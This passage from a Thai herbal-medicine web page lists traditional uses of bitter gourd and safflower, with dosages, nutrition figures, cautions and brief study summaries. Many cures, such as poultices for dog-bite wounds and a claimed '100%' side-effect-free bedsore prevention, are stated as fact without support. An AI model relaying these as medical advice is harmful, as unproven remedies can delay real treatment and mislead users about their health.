  16. ช่วยบรรเทาอาการปวดศีรษะ (ใบ)
  17. ช่วยดับพิษร้อนในร่างกาย (ผล, ใบ)
  18. ช่วยแก้ไข้ที่เกิดจากการถูกความร้อน ด้วยการใช้ผลสดของมะระขี้นก คว้านไส้ออก ใส่ใบชาแล้วประกบกันน้ำแล้วนำไปตากในที่ร่มให้แห้ง รับประทานครั้งละ 6-10 กรัม โดยจะต้มน้ำดื่มหรือชงดื่มเป็นชาก็ได้ (ผล, ราก, ใบ)
  19. ช่วยแก้อาการไอเรื้อรัง (ใบ)
  20. ช่วยลดเสมหะ (ราก)
  21. แก้อาการปากเปื่อยลอกเป็นขุย (ผล, ใบ)
  22. ช่วยแก้อาการปวดฟัน ด้วยการใช้รากสดของมะระขี้นกประมาณ 30 กรัมต้มกับน้ำดื่ม หรือใช้เถาแห้งประมาณ 3 กรัมต้มกับน้ำดื่มก็ได้ (ราก, เถา)
  23. ช่วยแก้อาการร้อนในกระหายน้ำ ด้วยการใช้ผลสดของมะระขี้นกต้มรับประทาน หรือจะใช้รากสดของมะระขี้นกประมาณ 30 กรัมต้มกับน้ำดื่ม หรือใช้เถาแห้งประมาณ 3 กรัมต้มกับน้ำดื่มก็ได้ (ผล, ราก, ใบ, เถา)
  24. ช่วยในการย่อยอาหารได้เป็นอย่างดี
  25. ช่วยรักษาโรคกระเพาะ ด้วยการใช้ใบสดของมะระขี้นกประมาณ 30 กรัมต้มกับน้ำดื่ม หรือใช้ใบแห้งบดเป็นผงรับประทานก็ได้ (ใบ)
  26. ช่วยรักษาอาการบิด ถ้าถ่ายเป็นเลือดให้ใช้รากสดประมาณ 120 กรัมต้มกับน้ำดื่ม ถ้าถ่ายเป็นเมือก ๆ ให้ใช้รากสดประมาณ 60 กรัม น้ำตาลกรวด 60 กรัมนำมาต้มกับน้ำดื่ม (ผล, ใบ, ดอก, เถา)
  27. ช่วยรักษาอาการบิดถ่ายเป็นเลือดหรือมูกเลือด ด้วยการใช้เถาสดประมาณ 1 กำมือ นำมาใช้แก้อาการบิดเลือดด้วยการต้มน้ำดื่ม หรือใช้แก้บิดมูกให้ใส่เหล้าต้มดื่ม (ราก, เถา)
  28. แก้อาการจุดเสียด แน่นท้อง (ผล, ใบ)
  29. ช่วยขับพยาธิ ด้วยการใช้ใบสดของมะระขี้นกประมาณ 120 กรัมนำมาตำคั้นเอาน้ำดื่ม หรือจะใช้เมล็ดประมาณ 3 เมล็ดรับประทาน
  30. ช่วยขับพยาธิตัวกลมก็ได้ (ผล, ใบ, ราก, เมล็ด)
  31. ช่วยขับระดู (ใบ)
  32. ช่วยบำรุงระดู (ผล)
  33. ช่วยรักษาโรคริดสีดวงทวาร (ราก)
  34. มะระขี้นกมีฤทธิ์เป็นยาระบายอ่อน ๆ (ผล, ราก, ใบ)
  35. ช่วยขับลม (ผล, ใบ)
  36. แก้โรคม้าม รักษาโรคตับ (ผล, ราก, ใบ)
  37. ช่วยบำรุงน้ำดี (ผล, ราก, ใบ)
  38. แก้พิษน้ำดีพิการ (ราก)
  39. ใช้แก้พิษ ด้วยการใช้รากสดของมะระขี้นกประมาณ 30 กรัมต้มกับน้ำดื่ม หรือใช้เถาแห้งประมาณ 3 กรัมต้มกับน้ำดื่มก็ได้ (ผล, ราก, ใบ, เถา)
  40. ช่วยรักษาแผลฝีบวมอักเสบ ด้วยการใช้ใบแห้งของมะระขี้นกมาบดให้เป็นผงแล้วชงกับเหล้าดื่ม หรือจะใช้ใบสดนำมาตำให้แหลก คั้นเอาน้ำมาทาบริเวณที่เป็นฝี หรือจะใช้รากแห้งบดเป็นผงแล้วผสมน้ำพอกบริเวณฝี (ผล, ใบ, ราก, เถา)
  41. ช่วยรักษาแผลบวมเป็นหนอง ด้วยการใช้ผลสดของมะระขี้นกผิงไฟให้แห้ง บดเป็นผงแล้วนำน้ำมาทาหรือพอก หรือใช้ผลสดตำแล้วนำมาพอกก็ได้ (ผล)
  42. ใช้เป็นยาฝาดสมาน (ผล, ราก, ใบ)
  43. ใช้รักษาแผลจากสุนัขกัด ด้วยการใช้ใบสดของมะระขี้นกมาตำให้แหลก แล้วนำมาพอกบริเวณบาดแผล (ใบ)
  44. ประโยชน์ของมะระขี้นก ช่วยรักษาโรคหิด ด้วยการใช้ผลแห้งของมะระขี้นกนำมาบดให้เป็นผง แล้วนำมาโรยบริเวณที่เป็นหิด (ผลแห้ง)
  45. แก้อาการคันหรือโรคผิวหนังต่าง ๆ ด้วยการใช้ผลแห้งของมะระขี้นกนำมาบดให้เป็นผง แล้วนำมาโรยบริเวณที่คันหรือทำเป็นขี้ผึ้งใช้ทาแก้โรคผิวหนังต่าง ๆ (ผลแห้ง)
  46. ช่วยดับพิษฝีร้อน (ใบ)
  47. ช่วยรักษาโรคลมเข้าข้อ อาการเท้าบวม (ผล, ราก)
  48. ช่วยแก้อาการปวดเมื่อยจากลมคั่งในข้อ (ใบ)
  49. ช่วยแก้อาการปวดตามข้อนิ้วมือนิ้วเท้า (ผล, ราก)
  50. แก้อาการฟกช้ำบวม (ผล, ใบ)
  51. ช่วยต่อต้านเชื้อไวรัส เชื้อแบคทีเรีย ยีสต์ โปรโตซัว เชื้อมาลาเรีย (ผล)
  52. ช่วยกระตุ้นความรู้สึกทางเพศ ด้วยการใช้เมล็ดแห้งของมะระขี้นกประมาณ 3 กรัม นำมาต้มกับน้ำดื่ม (เมล็ด)
  53. มะระขี้นกสามารถนำมาใช้ทำแกงจืดมะระยัดไส้หมูสับได้เช่นเดียวกับมะระจีน แต่ต้องต้มนานหน่อยเพื่อลดความขม หรือจะนำมาทำเป็นอาหารเผ็ดก็ได้ เช่น แกงเผ็ด พะแนงมะระขี้นกยัดไส้ หรือจะนำไปผัดกับไข่ก็ได้เช่นกัน
  54. ใบมะระขี้นกนิยมนำมารับประทานเป็นอาหาร (แต่ไม่นิยมกินสด ๆ เพราะมีรสขม)
  55. ประโยชน์มะระขี้นก แถวอีสานนิยมนำใบมะระขี้นกใส่ลงไปในแกงเห็ดเพื่อทำให้แกงมีรสขมนิด ๆ ช่วยเพิ่มความกลมกล่อมมากขึ้น และนำยอดมะระมาลวกเป็นผักจิ้มกับน้ำพริกหรือปลาป่นก็ได้เช่นกัน

คุณค่าทางโภชนาการของผลมะระขี้นกต่อ 100 กรัม

  • พลังงาน 19 กิโลแคลอรี
  • คาร์โบไฮเดรต 4.32 กรัม
  • น้ำตาล 1.95 กรัม
  • เส้นใย 2 กรัม
  • ไขมัน 0.18 กรัม
  • โปรตีน 0.84 กรัม
  • น้ำ 93.95 กรัม
  • วิตามินเอ 6 ไมโครกรัม 1%
  • เบตาแคโรทีน 68 ไมโครกรัม 1%
  • ลูทีนและซีแซนทีน 1,323 ไมโครกรัม
  • วิตามินบี 1 0.051 มิลลิกรัม 4%
  • วิตามินบี 2 0.053 มิลลิกรัม 4%
  • วิตามินบี 3 0.28 มิลลิกรัม 2%
  • วิตามินบี 5 0.193 มิลลิกรัม 4%
  • วิตามินบี 6 0.041 มิลลิกรัม 3%
  • วิตามินบี 9 51 ไมโครกรัม 13%
  • วิตามินซี 33 มิลลิกรัม 40%
  • วิตามินอี 0.14 มิลลิกรัม 1%
  • วิตามินเค 4.8 ไมโครกรัม 5%
  • ธาตุแคลเซียม 9 มิลลิกรัม 1%
  • ธาตุเหล็ก 0.38 มิลลิกรัม 3%
  • ธาตุแมกนีเซียม 16 มิลลิกรัม 5%
  • ธาตุแมงกานีส 0.086 มิลลิกรัม 4%
  • ธาตุฟอสฟอรัส 36 มิลลิกรัม 5%
  • ธาตุโพแทสเซียม 319 มิลลิกรัม 7%
  • ธาตุโซเดียม 6 มิลลิกรัม 0%
  • ธาตุสังกะสี 0.77 มิลลิกรัม 8%

% ร้อยละของปริมาณแนะนำที่ร่างกายต้องการในแต่ละวันสำหรับผู้ใหญ่ (ข้อมูลจาก : USDA Nutrient database)

มะระขี้นก จะมีรสขมมากกว่ามะระจีน จึงเป็นที่นิยมสำหรับผู้สูงอายุ ด้วยการนำผลอ่อนไปต้มหรือเผากินทั้งลูก แต่ถ้าเป็นผลแก่ก็ต้องนำมาคว้านเมล็ดออกเสียก่อน สำหรับวิธีลดความขมของมะระขี้นกทำได้ด้วยการต้มน้ำให้เดือดจัด ใส่เกลือประมาณหยิบมือ แล้วลวกมะระในน้ำเดือดสักครู่ ก็จะทำให้ลดความขมของมะระลงไปได้และยังคงมีผลสีเขียวสดอีกด้วย

มะระที่สุกแล้วจะมีสารซาโปนิน (Saponin) ในปริมาณมาก การรับประทานอาจทำให้มีอาการอาเจียน ท้องร่วงได้ และอาจทำให้ถึงขั้นเสียชีวิต เพราะฉะนั้นห้ามรับประทานแบบสุก ๆ

ผู้ที่ห้ามรับประทานมะระขี้นก

ได้แก่ ผู้ที่ม้ามเย็นพร่อง กระเพาะเย็นพร่อง หากรับประทานเข้าไปอาจจะทำให้มีอาการอาเจียน ถ่ายท้อง ปวดท้องได้ และควรรับประทานในปริมาณที่พอดี อย่าทำอะไรเกินเลย เช่นการดื่มน้ำมะระขี้นกก็อย่าขมจัด เพราะจะทำให้ตับทำงานหนัก และสำหรับหญิงตั้งครรภ์อาจจะทำให้ตกเลือดหรือแท้งได้หากรับประทานเกินขนาดหรือกินมะระขี้นกที่เริ่มสุกแล้ว

แหล่งอ้างอิง : วิกิพีเดีย สารานุกรมเสรี, www.rspg.or.th สำนักงานโครงการอนุรักษ์พันธุกรรมพืชอันเนื่องมาจากพระราชดำริ สมเด็จพระเทพรัตนราชสุดาฯ, www.gotoknow.org, สำนักงานกองทุนสนับสนุนการสร้างเสริมสุขภาพ (สสส.)

เรียบเรียงข้อมูลโดยเว็บไซต์เมดไทย (MedThai)

แหล่งข้อมูล/ภาพ  K@pook

Categories: ไม่มีหมวดหมู่

คำฝอย

omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพร                                  คำฝอย

ชื่ออื่นๆ                                         คำยอง คำหยอง คำหยุม คำยุ่ง (ลำปาง), คำ คำฝอย ดอกคำ (ภาคเหนือ), หงฮัว (จีน), ดอกคำฝอย คำทอง 

ชื่อสามัญ                                         Safflower (แซฟฟลาวเวอร์), False saffron, Saffron thistle

ชื่อวิทยาศาสตร์                          Carthamus tinctorius L. 

ชื่อสามัญ                                      -

ชื่อพ้อง                                        

ชื่อวงศ์                                         ASTERACEAE หรือ COMPOSITAE

ลักษณะทางพฤกษศาสตร์     

kamfoy_1ต้นคำฝอย มีถิ่นกำเนิดในตะวันออกกลาง ในประเทศไทยบ้านเรามีแหล่งผลิตดอกคำฝอยที่สำคัญอยู่ทางภาคเหนือ เพาะปลูกกันมากในอำเภอพร้าว อำเภอจอมทอง จังหวัดเชียงใหม่ และอำเภอพาน จังหวัดเชียงราย โดยจัดเป็นไม้ล้มลุก มีความสูงประมาณ 40-130 เซนติเมตร มีลำต้นเป็นสัน แตกกิ่งก้านมาก เป็นพืชที่มีอายุสั้น ทนแล้ง เจริญเติบโตได้ดีในพื้นที่ที่มีระดับความสูงต่ำกว่า 1,000 เมตร ชอบดินร่วนปนทรายหรือดินที่มีการระบายน้ำได้ดี โดยอุณหภูมิที่เหมาะสมต่อการงอกจะอยู่ระหว่าง 5-15 องศาเซลเซียส ส่วนอุณหภูมิที่เหมาะสมในช่วงออกดอกคือ 24-32 องศาเซลเซียส ใช้ระยะเวลาการปลูกประมาณ 80-120 วันจนเก็บเกี่ยว

kamfoy_2ใบคำฝอย มีใบเป็นใบเดี่ยวเรียงสลับ รูปวงรี ลักษณะของใบคล้ายรูปหอกหรือรูปขอบขนาน ขอบใบหยักเป็นฟันเลื่อย ปลายเป็นหนามแหลม ใบมีความกว้างประมาณ 1-5 เซนติเมตร และยาวประมาณ 3-12 เซนติเมตร

kamfoy_3 kamfoy_4ดอกคำฝอย ออกดอกรวมกันเป็นช่ออัดแน่นบนฐานดอกที่ปลายยอด มีดอกย่อยขนาดเล็กจำนวนมาก ดอกคำฝอยมีลักษณะกลมคล้ายดอกดาวเรือง เมื่อดอกคำฝอยบานใหม่ ๆ จะมีกลีบดอกสีเหลืองแล้วจึงค่อย ๆ เปลี่ยนเป็นสีส้ม เมื่อแก่จัดดอกจะเปลี่ยนเป็นสีส้มแดง ที่ดอกมีใบประดับแข็งเป็นหนามรองรับช่อดอกอยู่

kamfoy_7 kamfoy_5ผลคำฝอย ลักษณะของผลคล้ายรูปไข่หัวกลับ ผลเบี้ยว ๆ มีสีขาวงาช้างปลายตัด มีสัน 4 สัน ขนาดของผลยาวประมาณ 0.6-0.8 เซนติเมตร ผลเป็นผลแห้งไม่แตก ด้านในผลมีเมล็ดเป็นรูปสามเหลี่ยมยาวรี เปลือกแข็ง มีสีขาว ขนาดเล็ก เมื่อผลแก่แห้งเมล็ดจะไม่แตกกระจาย

kamfoy_6สมุนไพรดอกคำฝอย สมุนไพรที่ขึ้นชื่อว่าสามารถช่วยลดความอ้วนได้ เป็นยาเกี่ยวกับสตรีที่ช่วยรักษาอาการต่าง ๆ เกี่ยวกับระบบเลือดได้ เนื่องจากช่วยเพิ่มการไหลเวียนของโลหิตให้ดีขึ้น ช่วยขยายหลอดเลือด ป้องกันโรคหัวใจ ช่วยลดไขมันในเส้นเลือดได้ ฯลฯ โดยส่วนที่นำมาใช้เป็นยาสมุนไพรนั้นก็ได้แก่ ดอก (ทั้งดอกสดและดอกแห้ง), เกสร, กลีบดอกที่เหลือจากผล, เมล็ด, และน้ำมันจากเมล็ด
สรรพคุณของคําฝอย

  1. สมุนไพรดอกคําฝอย สรรพคุณช่วยลดไขมันในเส้นเลือด ป้องกันไขมันอุดตันในเส้นเลือด เนื่องจากดอกคำฝอยมีกรดไลโนเลอิก (Linoleic Acid) อยู่มาก ซึ่งกรดชนิดนี้จะเข้าไปทำปฏิกิริยากับไขมันในเลือดและขับออกทางปัสสาวะและทางอุจจาระ จึงเป็นทางเลือกที่ดีสำหรับผู้ที่ไม่ชอบรับประทานหัวหอมหรือกระเทียมที่มีสรรพคุณเช่นเดียวกัน ด้วยการใช้ดอกคำฝอยแห้งประมาณ 2 หยิบมือ (2.5 กรัม) นำมาชงกับน้ำร้อนครึ่งถ้วยแล้วใช้ดื่ม หรืออีกสูตรให้ใช้ดอกคำฝอย 1 หยิบมือและดอกเก๊กฮวย 10 ดอก ผสมด้วยน้ำสะอาด 500 cc. แล้วเคี่ยวจนงวดประมาณ30 นาที นำมาดื่มเป็นน้ำชาครั้งละ 1 ถ้วยแก้ววันละ 2-3 ครั้ง และสำหรับผู้ที่มีไขมันในเลือดสูงกว่าปกติก็ให้รับประทานติดต่อกันสัก 3-7 วัน และถ้าต้องการเพิ่มรสชาติหรือดับรสขื่นหรือเฝื่อน ก็ให้เติมน้ำตาลทรายขาวเข้าไป 2-3 ช้อนชาต่อน้ำ 1 ถ้วยแก้ว (ดอก, กลีบที่เหลือจากผล, น้ำมันจากเมล็ด)
  2. ดอกคำฝอย ลดความอ้วน ! ด้วยการใช้ดอกประมาณ 5 กรัมนำมาชงกับน้ำร้อน 1 แก้ว ใช้ดื่มก่อนอาหารเช้าและเย็น (ดอก)
  3. ช่วยบำรุงประสาทและระงับประสาท (ดอก, กลีบที่เหลือจากผล)
  4. ช่วยรักษาโรคฮิสทีเรีย (Hysteria) หรือโรควิตกกังวลอย่างหนึ่ง หรือโรคขาดความอบอุ่น (ดอก)
  5. ช่วยขยายหลอดเลือด ป้องกันโรคความดันโลหิตสูง ช่วยเพิ่มการไหลเวียนของเลือดในร่างกายให้ดียิ่งขึ้น ทำให้มีออกซิเจนเข้าถึงเซลล์ต่าง ๆ ได้ดี (ดอก)
  6. ช่วยบำรุงโลหิต แก้โลหิตเป็นพิษ และช่วยฟอกโลหิต (ดอก, เกสร, กลีบที่เหลือจากผล)
  7. ช่วยสลายลิ่มเลือด จะมีประโยชน์อย่างมากสำหรับผู้ที่ชอบกินของหวาน เพราะจะมีระดับน้ำตาลในเลือดสูง ทำให้เลือดเหนียวข้นจับตัวกันเป็นลิ่มเลือด ทำให้ระบบไหลเวียนโลหิตทำงานได้ไม่ดี โดยดอกคำฝอยจะช่วยสลายลิ่มเลือดให้เล็กลง ช่วยป้องกันไม่ให้เลือดเกาะตัวกันเป็นลิ่มเลือด (ดอก)
  8. ช่วยบำรุงหัวใจ ช่วยทำให้มีเลือดไปเลี้ยงที่หัวใจมากยิ่งขึ้น ทำให้หัวใจแข็งแรง (ดอก, กลีบที่เหลือจากผล)
  9. ช่วยแก้โรคลมเนื่องจากเส้นเลือดในสมองแตก (เมล็ด)
  10. ช่วยรักษาอาการปวดหัวใจอันเนื่องมาจากเลือดและซี่ตับ หรือเลือดลมเดินไม่สะดวก (ส่วนมากจะใช้ร่วมกับสมุนไพรตังเซิน ชวนเจียง อู่หลินจือ)
  11. ช่วยขับเหงื่อ (ดอก)
  12. ช่วยรักษาอาการไข้หลังคลอดของสตรี (ดอก)
  13. ดอกช่วยแก้ไข้ในเด็ก (ดอก)
  14. ช่วยแก้หวัดน้ำมูกไหล (ดอก)
  15. เมล็ดใช้เป็นยาขับเสมหะ (เมล็ด)
  16. เมล็ดหรือดอกใช้เป็นยาถ่าย เนื่องจากมีฤทธิ์เป็นยาระบายอ่อน ๆ (ดอก, เมล็ด)
  17. ช่วยรักษาท้องเป็นเถาดัน (ดอก)
  18. เมล็ดใช้เป็นยาขับปัสสาวะ (เมล็ด)
  19. ช่วยบำรุงโลหิตประจำเดือนของสตรี ช่วยขับระดูโลหิตประจำเดือนของสตรี ช่วยกระจายเลือดแก้ประจำเดือนคั่งค้างมาไม่เป็นปกติ (ดอก, เกสร, เมล็ด, กลีบที่เหลือจากผล)
  20. ช่วยระงับอาการปวดประจำเดือนของสตรี (ดอก)
  21. ช่วยแก้อาการปวดมดลูกและลดอาการอักเสบของมดลูกในสตรี (เมล็ด)
  22. แก้อาการตกเลือด อาการปวดท้องหลังคลอด น้ำคาวปลาไม่หมด (ดอก)
  23. ช่วยแก้น้ำเหลืองเสีย บำรุงน้ำเหลืองให้เป็นปกติ (ดอก, เกสร, กลีบที่เหลือจากผล)
  24. ดอกและกลีบที่เหลือจากผลช่วยแก้ดีพิการ (ดอก, กลีบที่เหลือจากผล)
  25. ดอกช่วยแก้ดีซ่าน (ดอก)
  26. น้ำมันจากเมล็ดใช้ทารักษาโรคผิวหนังได้ (ดอก, เมล็ด, กลีบที่เหลือจากผล)
  27. ช่วยแก้ฝี (น้ำมันจากเมล็ด)
  28. ช่วยรักษาตาปลา ด้วยการใช้ดอกคำฝอยสดและตี้กู่ฝีในปริมาณที่เท่ากัน นำมาตำผสมรวมกัน แล้วใช้ปิดบริเวณที่เป็นตาปลา โดยเปลี่ยนยาวันละ 2 ครั้ง ไม่เกิน 5 วันก็จะดีขึ้น (ดอก)
  29. ช่วยแก้อาการแสบร้อนตามผิวหนัง (ดอก, เกสร, กลีบที่เหลือจากผล)
  30. น้ำมันจากเมล็ดใช้ทาแก้อาการปวดบวม ฟกช้ำดำเขียว รักษาโรคไขข้ออักเสบได้ หรือจะใช้ดอกนำมาต้มกับน้ำแช่เหล้า หรือใช้วิธีตำแล้วพอกก็ได้ (เมล็ด, ดอก)
  31. ช่วยป้องกันแผลกดทับ ด้วยการใช้ดอกคำฝอยประมาณ 3 กรัมนำมาแช่กับน้ำพอประมาณจนน้ำเป็นสีแดง แล้วนำมาถูกบริเวณที่กดทับ โดยถูครั้งละ 10-15 นาที หากทำอย่างสม่ำเสมอก็จะช่วยป้องกันแผลกดทับได้ถึง 100% โดยไม่มีผลข้างเคียง (ดอก)
  32. ช่วยรักษาแผลกดทับ ด้วยการนำดอกคำฝอย 500 กรัม มาต้มในน้ำ 7 ลิตรด้วยไฟปานกลางประมาณ 2 ชั่วโมง จนดอกคำฝอยเปลี่ยนเป็นสีขาว แล้วตักเอากากออกเหลือไว้แต่น้ำ เคี่ยวด้วยไฟอ่อน ๆ ต่อไปจนน้ำเหนียวเป็นกาว หลังจากนั้นให้ทายาลงบนผ้าสะอาดที่ฆ่าเชื้อแล้ว แล้วเอาไปปิดบริเวณที่เป็นแผลกดทับ เปลี่ยนยาวันละ 1-2 ครั้ง โดยทำติดต่อกันประมาณ 1 อาทิตย์ แผลจะค่อย ๆ ดีขึ้นและหายไปเอง (ดอก)
  33. ดอกช่วยบำรุงคนเป็นอัมพาต (ดอก)
  34. น้ำมันจากเมล็ดใช้ทาเป็นยาแก้อัมพาตและอาการขัดตามข้อต่าง ๆ ได้ (น้ำมันจากเมล็ด)
  35. เมล็ดใช้ตำแล้วนำมาพอกบริเวณหัวหน่าว ช่วยแก้อาการปวดมดลูกหลังการคลอดบุตรได้ (เมล็ด)
  36. ดอกใช้ต้มน้ำอาบเวลาออกหัด (ดอก)
  37. ดอกคำฝอยมีฤทธิ์ยับยั้งเชื้อไวรัสและเชื้อแบคทีเรีย (ดอก, น้ำมันจากเมล็ด)
  38. ในปากีสถานและอินเดีย ทุกส่วนของต้นคำฝอยนำมาขายเป็นสมุนไพรคําฝอยที่เรียกว่า “Pansari” ซึ่งมีสรรพคุณใช้รักษาโรคหลาย ๆ อย่าง และใช้เป็นยากระตุ้นทางเพศ (Aphrodisiac) (ข้อมูลจากเว็บ beautyherbshop.com)
  39. ข้อมูลทางเภสัชวิทยาของคำฝอย ช่วยลดระดับน้ำตาลในเลือด ช่วยขยายหลอดเลือด ลดความดันโลหิต ลดไขมันในเลือด ลดอาการอักเสบ แก้แพ้ ช่วยต้านเชื้อรา เชื้อแบคทีเรีย ยับยั้งฟันผุ

คำแนะนำในการใช้สมุนไพรดอกคำฝอย

  • แม้ว่าคำฝอยจะมีสรรพคุณที่หลากหลาย แต่ก็อาจส่งผลกระทบต่อระบบเลือดได้หากไม่รู้จักใช้ให้ถูกวิธี ซึ่งแพทย์แผนจีนมักจะใช้ดอกคำฝอยร่วมกับสมุนไพรชนิดอื่นอยู่เสมอ จะไม่ใช้เป็นยาเดี่ยว ใช้ในปริมาณที่เหมาะสม และไม่ควรใช้ในระยะยาว
  • โทษของดอกคำฝอย การรับประทานอย่างต่อเนื่องหรือในปริมาณที่มากเกินไป อาจจะส่งผลทำให้โลหิตจางได้ มีผลทำให้มีเลือดน้อยลง มีอาการอ่อนเพลีย เหนื่อยง่าย มีอาการวิงเวียนศีรษะ หรือกลายเป็นคนขี้โรคโดยไม่รู้ตัว
  • การรับประทานในปริมาณมากจนเกินไปอาจจะทำให้มีประจำเดือนมากกว่าปกติ และอาจทำให้มีอาการมึนงง หรือมีผดผื่นคันขึ้นตามตัวได้
  • สำหรับสตรีมีครรภ์ไม่ควรบริโภคสมุนไพรดอกคำฝอย เนื่องจากสมุนไพรชนิดนี้มีฤทธิ์เป็นยาบำรุงเลือดและช่วยขับประจำเดือน หากรับประทานหรือรับประทานในปริมาณมาก ๆ ก็อาจจะทำให้แท้งบุตรได้
  • ควรระมัดระวังเมื่อใช้ดอกคำฝอยร่วมกับยาในกลุ่มต้านการแข็งตัวของเกล็ดเลือด (Anticoagulant)

งานวิจัยดอกคำฝอย

  • ค.ศ. 1976 ประเทศอเมริกา ได้ทำการทดลองในผู้ที่เป็นโรคความดันโลหิตสูง (ชาย 122 คนและหญิง 19 คน) ด้วยการให้รับประทานน้ำมันดอกจากดอกคำฝอยทุกวันเป็นเวลา 3 สัปดาห์ (วันละ 57 กรัม) ผลการทดลองพบว่า น้ำมันจากดอกคำฝอย สามารถช่วยลดระดับความดันโลหิตและระดับไขมันหรือคอเลสเตอรอลได้ และยังมีผลการสร้าง Prostaglandin ที่เป็นผลให้ High Density Lipoprotein เพิ่มขึ้น
  • ค.ศ. 1989 ประเทศอังกฤษ ได้ทำการทดลองน้ำมันดอกคำฝอยในผู้ป่วยที่เป็นความดันโลหิตสูงชนิด Mild hypertension โดยให้รับประทานน้ำมันจากดอกฝอยทุกวันเป็นเวลา 4 สัปดาห์ (วันละ 5.9 กรัม) ผลการทดลองพบว่า ค่าความดัน Systolic ลดลงมา 6.5 mm.Hg และค่าความดัน Diastolic ลดลงมา 4.4 mm. จึงสรุปได้ว่าน้ำมันดอกคำฝอยมีผลในการช่วยลดความดันโลหิตได้จริง
  • มีการทดสอบความเป็นพิษเฉียบพลันของสารสกัดจากดอกย่อยคำฝอยด้วยเอทานอล 50% โดยให้หนูทดลองกินในขนาด 10 กรัมต่อน้ำหนักตัว 1 กิโลกรัม หรือคิดเป็น 2,500 เท่า เมื่อเปรียบเทียบกับขนาดที่ใช้รักษาในคน และให้โดยการฉีดเข้าในผิวหนังของหนูในขนาดเท่ากัน ได้ข้อสรุปว่า ตรวจไม่พบอาการเป็นพิษแต่อย่างใด
  • การวิเคราะห์ทางคลินิกพบว่าสารสกัดจากดอกคำฝอยมีคุณสมบัติคล้ายกับฮอร์โมนเพศหญิง มีฤทธิ์กระตุ้นมดลูกและฮอร์โมนเพศหญิง ช่วยทำให้มดลูกและกล้ามเนื้อเรียบหดตัวได้ แต่ถ้าหากใช้ในปริมาณมากเกินไปอาจจะทำให้มดลูกเป็นตะคริวได้ (ข้อมูลจาก เว็บไซต์โหระพา)
  • มีการให้อาหารปกติผสมกับน้ำมันดอกคำฝอย 4% ในหนูทดลองที่มีคอเลสเตอรอลสูง ติดต่อกันเป็นเวลา 30 วัน พบว่าหนูทดลองมีระดับคอเลสเตอรอลลดลงถึง 36% แต่ถ้าหากให้อาหารที่มีคอเลสเตอรอลสูงผสมกับน้ำมันดอกคำฝอย 4% กลับพบว่าหนูทดลองมีระดับคอเลสเตอรอลที่สูงขึ้น (ข้อมูลจาก เว็บไซต์โหระพา)
  • มีรายงานว่าน้ำมันจากเมล็ดดอกคำฝอยสามารถช่วยลดระดับคอเลสเตอรอลในเส้นเลือดได้เป็นอย่างดี แต่กลับไปสะสมระดับคอเลสเตอรอลในตับเสียเอง ซึ่งอาจทำให้เกิดอาการตับแข็งได้ (ข้อมูลจาก เว็บไซต์โหระพา)
  • ประโยชน์ของคำฝอย
    1. ประโยชน์ของดอกคำฝอย ดอกคำฝอยแก่เมื่อนำมาชงกับน้ำร้อนแล้วกรอง จะได้น้ำสีเหลืองส้มที่มาจากสาร Safflower yellow สามารถนำมาใช้ในการแต่งสีอาหารที่ต้องการ เครื่องปรุงอาหาร เนยเทียม หรือเครื่องดื่มต่าง ๆ หรือใช้ย้อมผ้าไหมและฝ้าย (แต่สีจะไม่คงทนเท่าไหร่และซีดง่าย) ทำสีย้อมผ้าให้เป็นสีเหลืองได้ แต่งสีเครื่องสำอาง และสามารถใช้แต่งสีข้าวได้อีกด้วย โดยใช้ดอกคำฝอยนำมาต้มกับข้าวโดยใช้อัตราส่วนข้าว 1 ถ้วยตวงต่อกลีบดอก 2 ช้อนโต๊ะ และน้ำซุป 2 ถ้วยครึ่ง โดยต้มข้าวให้เดือดก่อน แล้วค่อยใส่กลีบดอกซึ่งอยู่ในถุงผ้า ต้มต่อจนน้ำหมดไป ใช้เวลาประมาณ 20 นาที จะได้ข้าวที่มีสีเหลือง
    2. น้ำมันจากเมล็ดที่สกัดโดยผ่านความร้อน สามารถใช้ผสมสีทาบ้าน ทำสบู่ น้ำมันชักเงา น้ำยาเคลือบผิว เคลือบหนังไม่ให้เปียกน้ำได้
    3. ประโยชน์น้ำมันดอกคำฝอย น้ำมันดอกคำฝอยมีคุณสมบัติที่ทนความร้อนได้สูง จึงได้มีการนำน้ำมันดอกคำฝอยมาใช้ในการทอดอาหารและใช้ประกอบอาหารต่าง ๆ ได้
    4. กากเมล็ดจากดอกคำฝอยที่เหลือจากการบีบน้ำมัน สามารถนำมาใช้เลี้ยงสัตว์และทำเป็นปุ๋ยได้
    5. น้ำมันดอกคำฝอยชนิดที่บีบสกัดโดยไม่ผ่านความร้อนเหมาะอย่างยิ่งสำหรับใช้ปรุงอาหาร
    6. ต้นคําฝอย สามารถนำมาแปรรูปเป็นผลิตภัณฑ์ได้หลากหลาย เช่น ดอกคําฝอยแห้ง ยาแคปซูลดอกคำฝอย ชาดอกคำฝอย น้ำดอกคำฝอย น้ํามันดอกคําฝอย เป็นต้น

    แหล่งอ้างอิง : เว็บไซต์กรมปศุสัตว์ กระทรวงเกษตรและสหกรณ์, ฐานข้อมูลเครื่องยาสมุนไพร คณะเภสัชศาสตร์ มหาวิทยาลัยอุบลราชธานี, เว็บไซต์สำนักงานโครงการอนุรักษ์พันธุกรรมพืชอันเนื่องมาจากพระราชดำริ สมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี, รายการสาระความรู้ทางการเกษตร (มหาวิทยาลัยสงขลานครินทร์ วิทยาเขตหาดใหญ่), สำนักส่งเสริมและจัดการสินค้าเกษตร กรมส่งเสริมการเกษตร, เว็บไซต์โครงการสารานุกรมไทยสำหรับเยาวชน โดยพระราชประสงค์ในพระบาทสมเด็จพระเจ้าอยู่หัว, สถาบันวิจัยวิทยาศาสตร์และเทคโนโลยี มหาวิทยาลัยเชียงใหม่, เว็บไซต์คณะเทคโนโลยี มหาวิทยาลัยราชภัฏอุดรธานี, หนังสือร่วมอนุรักษ์มรดกไทย สารานุกรมสมุนไพรไทย รวมหลักเภสัชกรรมไทย (วุฒิ วุฒิธรรมเวช), หนังสือสมุนไพรลดความดันโลหิตสูง และหนังสือลดไขมันในเลือด (จุไรรัตน์ เกิดดอนแฝก)

    ภาพประกอบ : www.thaicrudedrug.com (by Sudarat Homhual), เว็บไซต์ illinoiswildflowers.info, hiltonpond.org, agricomimpex.com, namayasai.co.uk, today.ttu.edu เว็บไซต์ flickr.com (by William Moore Farms, francescopinto56, julia_HalleFotoFan)

    เรียบเรียงข้อมูลโดยเว็บไซต์เมดไทย (MedThai)

Categories: ไม่มีหมวดหมู่

มะขามแขก

